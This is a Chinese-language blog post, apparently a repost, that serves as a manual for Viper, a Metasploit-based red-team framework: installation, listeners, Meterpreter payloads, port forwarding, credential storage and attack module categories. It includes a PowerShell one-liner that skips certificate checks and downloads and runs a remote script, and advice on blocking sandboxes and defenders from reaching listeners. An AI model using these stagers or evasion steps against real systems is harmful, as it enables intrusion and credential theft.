Viper渗透框架

Viper 简介

Viper (炫彩蛇)

  • 是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化。
  • 集成杀软绕过,内网隧道,文件管理,命令行等基础功能。
  • 当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类。
  • 目标是帮助红队工程师提高攻击效率,简化操作,降低技术门槛。
  • 支持在浏览器中运行原生 msfconsole ,且支持多人协作。

文档:https://www.yuque.com/vipersec
github:https://github.com/FunnyWolf/Viper

Viper 安装

脚本安装

https://www.yuque.com/vipersec/help/olg1ua

sysctl -w vm.max_map_count=262144
curl -o f8x https://f8x.io/   # wget -O f8x https://f8x.io/
bash f8x -viper

手动安装

准备一台 linux 系统的 VPS 或虚拟机,首次使用建议虚拟机安装,推荐使用 ubuntu 系统

  1. 切换到 root 用户执行命令
su root
sysctl -w vm.max_map_count=262144
ulimit -n 65535
  1. Kali 安装 docker
apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee/etc/apt/sources.list.d/docker.list

apt-get update

apt install docker-ce
  1. 安装 docker-compose
apt install docker-compose

或者

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/bin/docker-compose

chmod +x /usr/bin/docker-compose
  1. 设置安装目录
export VIPER_DIR=/root/VIPER
  1. 生成安装目录,并进入安装目录
mkdir -p $VIPER_DIR && cd $VIPER_DIR
  1. 生成 docker-compose.yml
tee docker-compose.yml <<-'EOF'
version: "3"
services:
	viper:
        image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
        container_name: viper-c
        network_mode: "host"
        restart: always
        volumes:
            - ${PWD}/loot:/root/.msf4/loot
            - ${PWD}/db:/root/viper/Docker/db
            - ${PWD}/module:/root/viper/Docker/module
            - ${PWD}/log:/root/viper/Docker/log
            - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
		command: ["VIPER_PASSWORD"]
EOF

外网 VPS 也可以将 registry.cn-shenzhen.aliyuncs.com/toys/viper:latest 替换成 registry.cn-hongkong.aliyuncs.com/toys/viper:latest

  1. 设置登录密码
export VIPER_PASSWORD=VIPER@PASS
  1. 写入密码到 docker-compose.yml
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml
  1. 启动 Viper
cd $VIPER_DIR
docker-compose up -d

注意:所有的 docker-compose 命令必须在安装目录执行才会有效果

Viper 登录

https://www.yuque.com/vipersec/help/oktwb7

等待15s系统启动

访问登录服务器: https://your_vps_ip:60000

用户名: root

密码: 自己设置的密码

查看密码: cat /root/VIPER/docker-compose.yml

查看端口: cat /root/VIPER/nginxconfig/viper.conf ,默认端口为 60000

在这里插入图片描述

注意:如果你使用 VPS 部署 Viper ,请确认 VPS 的防火墙开放了60000端口及后续监听需要的端口

Viper 配置

版本更新

https://www.yuque.com/vipersec/help/qofhby

  1. 删除原有容器
cd /root/VIPER              # 进入viper安装目录
docker-compose down         # 删除现有容器
  1. 更新 docker 镜像
docker-compose pull
  1. 新建并启动容器
docker-compose up -d

修改密码

https://www.yuque.com/vipersec/help/rxb752

  • 临时修改密码

适用于需要在不重启 Viper 的情况下修改密码, Viper 更新后密码不会保留 Viper 不允许使用默认密码, diypassword 替换为自定义密码密码且大于8位

  1. 进入 Docker 容器命令行
docker exec -it viper-c bash
  1. 执行修改密码命令
viper -pw VIPER@PASS
  • 持久化修改密码

需要重启 Viper

Viper 不允许使用默认密码, diypassword 替换为自定义密码密码且大于8位

  1. 进入安装目录
cd /root/VIPER
  1. 设置密码
export VIPER_PASSWORD=********
  1. 写入密码到 docker-compose.yml
sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml

相当于修改 /root/VIPER/docker-compose.yml 文件内容

关闭/重启

  • 临时关闭 Viper
cd /root/VIPER
docker-compose stop
  • 重新启动 Viper
cd /root/VIPER
docker-compose start
  • 查看容器日志
docker logs viper-c
  • 进入容器命令行
docker exec -it viper-c bash

安装目录

Viper 通过 docker 挂载目录的方式持久化保存数据

┌──(root㉿kali)-[~/VIPER]
└─# tree
.
├── db
│   ├── db.sqlite3
│   └── dump.rdb
├── docker-compose.yml
├── docker-compose.yml.bak
├── log
│   ├── access.log
│   ├── daphne.log
│   ├── error.log
│   ├── uwsgi.log
│   └── viperpython.log
├── loot
│   ├── mimikatz_x64.exe
│   ├── mimikatz_x86.exe
│   ├── SharpKatz.exe
│   ├── SweetPotato.exe
│   ├── TestAssembly-N20.exe
│   ├── TestAssembly-N40.exe
│   ├── test.ps1
│   ├── test.py
│   └── www.example.com.pem
├── module
└── nginxconfig
    ├── ca.crt
    ├── ca.key
    ├── ca.srl
    ├── client.crt
    ├── client.csr
    ├── client.key
    ├── client.pfx
    ├── gencert.sh
    ├── server.crt
    ├── server.csr
    ├── server.key
    └── viper.conf
  • db目录

db.sqlite3 : 是Viper的SQL数据库文件

dump.rdb : 是Viper缓存数据库文件

  • log目录

access.log : nginx访问日志

error.log : nginx错误日志

daphne.log : viperpython websocket运行日志

uwsgi.log : viperpython http服务运行日志

viperpython.log : vipepython 主服务运行日志

puma.log : msf接口服务日志

  • loot目录

存放用户 下载/上传 的文件

  • module目录

存放自定义模块

  • nginxconfig目录

gencert.sh :用于生成自定义 ssl 证书

ssl.crt ssl.csr ssl.key ssl.origin.key : ssl 证书相关文件,用于 nginx

viper.conf : nginx 子配置文件,用户可通过该配置文件自定义 nginx 配置

Viper基本使用

实时输出

  • 模块结果

左侧:显示主机IP/模块/参数/结果等信息

底部:搜索过滤、重置过滤、清空数据、返回顶部等操作.

  • 平台日志

右侧:列表展示平台运行日志,日志包含关键操作通知,模块运行过程中的日志等信息

底部:多用户聊天

任务列表

任务列表标签会提示当前有多少任务正在运行

可以点击任务对应的模块名称查看模块详细信息

面板会显示开始时间模块模块涉及的 Sessionid 模块参数

可以使用删除终止任务运行

监听载荷

https://www.yuque.com/vipersec/help/rxb29t

payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell ,也可以进行程序注入等。

Stageless

payload 分为 staged (分阶段)和 stageless (不分阶段):

Stageless payload: <platform>/[arch]/<single>

Stageless Meterpreter 是一个二进制文件,包含 Meterpreter 的所有必需部分以及所有必需的扩展全部捆绑在 一起,将完整的 payload 都编译在木马中,体积庞大,可直接独立地植入目标系统进行执行

Staged

Staged payload: <platform>/[arch]/<stage>/<stager>

Staged Meterpreter 负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,MSF提供了传输器和传输体配对分阶段植入的技术,由渗透攻击模块首先植入代码,短小精悍且可靠的传输器载荷,然后在运行传输器载荷时进一步下载传输体载荷并执行,比如加载meterpreter、VNC桌面控制等复杂的大型攻击载荷。

stageless 和 staged 就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执 行,还需通过其他工具和脚本进行管理

Payload Staged Stageless
Reverse TCP windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
Reverse HTTPS windows/meterpreter/reverse_https windows/meterpreter_reverse_https
Bind TCP windows/meterpreter/bind_tcp windows/meterpreter_bind_tcp
Reverse TCP IPv6 windows/meterpreter/reverse_ipv6_tcp windows/meterpreter_reverse_ipv6_tcp

监听

在MSF原生的 hander/payload 基础上,Viper增加了如下两项功能

  • 增加虚拟监听的概念,在内网渗透的某些场景中(如注入 shellcode ,spawn 进程,AB 网正向 hander),我们只需要快捷的调用已有的监听配置,不需要实际建立网络监听或网络连接

  • 虚拟监听和实际监听可相互转化

  1. 新增监听

在这里插入图片描述

  • 虚拟监听是指将输入的监听配置选项存储在缓存中,但不在服务器中建立实际运行的监听。后续在运行模块/传输协议时可以快速选择该监听配置
  • 虚拟监听在系统重启后仍然存在,可用于鱼叉钓鱼,持久化等场景
  • 真实的监听使用绿色图标表示,虚拟监听使用灰色图标表示
  • 虚拟监听与实际监听可通过虚拟化、实例化相互转换

载荷

https://www.yuque.com/vipersec/help/pn8fof

在这里插入图片描述

  1. 快速生成
  • 可以点击监听中的生成载荷按钮快速生成载荷,Windows 类型载荷为源码编译版本,linux 类型载荷为 elf 类型
  1. 配置生成
  • 选择下方生成载荷按钮可以手动输入配置生成载荷
  • 选择自动监听选项,在生成载荷完成后自动添加载荷所对应的监听

监听防火墙

https://www.yuque.com/vipersec/help/lxlre4

每当客户端连接 viper 的监听时, viper 会根据客户端的网络 IP 地址来判断该 IP 是否允许连接监听。

允许时则正常传输载荷到客户端,不允许时直接断开网络连接。

  • 使用场景
  1. 当使用鱼叉钓鱼时,目标的地理位置为一个固定区域(例如一个省),监听防火墙可以屏蔽其他国外或其他省的IP连接监听
  2. 红队模拟时,如果可以根据需要屏蔽沙箱及网络测绘服务器连接监听
  3. 如果 IP 地址被不被允许连接监听,则客户端(通常为沙箱或者蓝队人员)无法获取stager,就无法判断C2服务器类型
  • 使用方式

WebDelivery

https://www.yuque.com/vipersec/help/kvxr65

WebDelivery 功能与 MSF 的 exploit/multi/script/web_delivery 功能相同。

用于一句话加载 payload 。常用于可以执行命令,但是不方便上传文件的场景。

在这里插入图片描述
在这里插入图片描述

文件列表

在这里插入图片描述

  1. 上传/下载
  • 支持拖拽文件上传及点击上传,点击下载自动使用浏览器下载
  1. 查看
  • 支持直接预览文本文件及图片
  1. 一句话下载

当文件上传到服务器后,Viper 默认提供网络下载功能,界面中会提示各种版本的一句话下载

powershell -ep bypass -c "
[System.Net.ServicePointManager]::ServerCertificateValidationCall
back = {$true};iex(new-object 
net.webclient).downloadstring('https://124.71.45.28:60000/api/v1/
d/?en=w1ythf9LuGmBMdLZMYlk6Q==')"

网络拓扑

汇总端口扫描,历史 Session上线信息,当前 Session 信息及当前路由信息,分析处理后生成网络拓扑图

自动编排

在这里插入图片描述

https://www.yuque.com/vipersec/help/gh60e1

每当有新的 Session(权限)上线时,会自动按照顺序执行自动编排中已经配置好的模块

  • 时间间隔

可以通过该参数设置每个模块执行的间隔时间,避免短时间内执行多个模块导致报警或不稳定

  • 单一主机最大权限数量

如果在自动编排中配置了会生成新的权限的模块(比如 Session克隆 ),则可能会出现死循环:新的权限->自动编排模块->自动编排模块导致新的权限->自动编排模块>…

在配置了该参数之后,如果系统判断单一主机(同一个内网 IP)对应的权限数量大于配置数量,则自动跳过自动编排模块

内网代理

在这里插入图片描述

https://www.yuque.com/vipersec/help/cv0shx

Viper 的内网代理功能基于 MSF 的 socks4a/socks5 代理模块集成而来。Viper 将内网路由,端口转发,内网代理集中控制,方便使用。

  1. 路由路径
  • 内网代理、路由路径中可以查看所有主机的路由信息
  • 如果不存在对应路由,则用网络直连表示
  1. 路由列表
  • 查看所有 Session 中的路由
  1. 端口转发
  • 查看所有 Session 的端口转发配置
  1. 内网代理
  • 内网代理可以添加 socks4a 、socks5 两种代理,socks5 代理不支持 udp 代理使用的路由基于 内网路由,使用代理前确认配置了正确的路由

凭证列表

https://www.yuque.com/vipersec/help/iydrqn

  • 通过模块获取到的密码信息都会存储在此处

  • 也可以手动添加

MSFCONSOLE

在这里插入图片描述

https://www.yuque.com/vipersec/help/tzugzn

Metasploit console 控制台

  1. 常规操作
  • 原生复制 msfconsole 操作
  • 支持 tab 智能提示
  • 支持 Ctrl+C 终止 / Ctrl-Z 切换到后台等操作
  • 支持选择文本自动复制到剪切板功能
  1. 特殊命令
  • 如果出现命令行假死等问题,可以通过输入viper 进行重置操作

权限操作

https://www.yuque.com/vipersec/help/pf5bz1

权限信息

  1. 查看
  • 点击生成的 Session ,选择权限信息
  1. 进程列表
  • 进程列表显示主机所有进程的信息和 Session 进程的信息

文件管理

通过点击权限,选择文件管理进入主界面

  1. 文件浏览
  • 文件管理功能类似 Windows 的资源管理器
  • 文件夹及磁盘支持双击进入,目录栏支持输入指定目录后回车进入目录
  • 支持直接查看不大于100kb 的文件
  • 支持切换工作目录/刷新当前目录
  1. 新建文件夹/上传文件/下载文件
  • 点击上方新建文件夹按钮可在当前目录新建文件夹
  • 点击上传按钮可打开服务端文件管理器,可以将服务器的文件上传到当前目录
  • 点击下载链接,后台自动建立下载文件任务,下载的文件会存储在文件管理中
  1. 执行文件
  • 支持带参数执行可执行文件(无回显)
  1. 修改文件
  • 可直接修改主机的文本类文件

内网路由

  • 自动模式中,Session 会根据所在主机网卡 IP/掩码/网关自动添加路由
  • 如果内网某个网卡有多个子网,还可以通过手工输入的方式添加
  • 内网路由页面只显示当前 Session 添加的路由,如果需要查看所有路由,可以通过内网
  • 代理路由列表查看所有路由
  • Viper内网路由即是 Metasploit 的 route 功能,具体原理可以参考如下链接:

https://www.freebuf.com/articles/network/125278.html

端口转发

权限操作 端口转发

  1. 正向转发
  • 正向转发是将 VPS 的网络端口转发到 Session 所在内网的某 IP 某端口。常用于连接内网的某服务,如 RDP ,SSH 等
  • 远程 IP(目标)远程端口(目标)也可以选择内网其他主机
  1. 反向转发
  • 反向转发是将内网的某IP某端口转发到VPS的网络端口
  • 反向转发通常用于handler监听的回连
  • Viper的端口转发功能基于metasploit-framwork 的 portfwd

传输协议

权限操作、传输协议

https://www.yuque.com/vipersec/help/xvarma

命令终端

权限操作 命令终端

  1. 命令操作
  • 命令终端中可以直接输入命令,还可以通过下方快捷键快速输入
  • 命令终端中默认使用 meterpreter 增强命令行,如果希望执行系统命令,可以使用 shell +命令的方式

删除权限

权限操作、删除权限

  • 可以使用删除权限功能关闭已获得的 session
  • 删除权限后无法撤销

主机操作

主机信息

  1. 读取缓存/重新请求
  • 每次打开窗口时会自动读取数据库中缓存的主机信息
  • 点击重新请求会在后台执行更新主机信息模块,模块执行完成后自动将结果存储到数据库中
  1. 主机信息
  2. 网卡信息
  3. 本地监听
  4. 外网连接 判断主机有哪些联网应用
  5. 内网连接 通常用于判断内网其他主机的IP地址及服务
  6. ARP信息 用于查找内网网段
  7. 重要进程 用于判断主机的杀软及远控软件(teamviewer/anydesk)运行情况
  8. 所有连接
  9. 所有进程

开放端口

数据来源,展示的端口信息主要来源于三个模块:

  • 端口扫描与服务识别
  • 端口扫描
  • 内网ARP扫描

可以在运行模块选择过滤信息收集类模块中找到这三个模块

已知漏洞

  • 当前功能适配 MS17-010 扫描模块

  • 已知功能当前适配的模块很少,属于框架型功能

修改备注

主机操作修改备注或直接点击主机图标标签修改

删除主机

主机操作删除主机或在主机管理中批量删除

常见问题

  • 为什么无法删除主机?

如果当前主机有正在活动的 Session,viper 会自动新建主机信息

  • 为什么删除主机后Session仍然存在?

删除主机只会删除数据库中存储的主机相关信息,viper 并不会关闭对应 session

Viper 运行模块

https://www.yuque.com/vipersec/module

模块类别

  • 资源部署
  • 初始访问
  • 执行
  • 持久化
  • 权限提升
  • 防御绕过
  • 凭证访问
  • 信息收集
  • 数据采集
  • 全网扫描
  • 被动扫描

需要Session模块/无需Session模块

  • 当在存在 Session 的行点击运行模块时,显示所有可用的模块,包括需要 Sesison 和无需 Session 的模块
  • 如果点击不存在 Session 的行,则默认只显示不需要 Session 的模块

过滤/查找/标注模块

  • Viper 的根据 ATT&TK 对模块进行分类,可以通过选择栏进行过滤选择
  • 支持根据关键字搜索模块,搜索功能会根据名称 /TTPs/ 简介进行匹配

参数/说明

  • 左侧点击选择模块后,右侧默认显示模块所需参数。鼠标移到参数上方时自动显示参数说明
  • 右侧还可以切换到说明选项卡,展示模块的更多信息

适用权限是指模块可以在哪些权限下运行

运行/结果输出

  • 输入参数后点击运行即可运行模块
  • 运行后切换到实时输出可以看到模块运行状态

右侧通知列表会显示、模块进入后台、模块运行时输出的日志、模块运行结束后提示等左侧展示模块的运行结果,包括运行结束时间、主机 IP 模块名称、模块参数、模块结果输出等

  • 如果模块运行时间较长,可以在任务列表页面查看后台有哪些模块在运行
  • 点击删除按钮会手动终止模块后台运行

猜你喜欢

转载自blog.csdn.net/weixin_56378389/article/details/130887510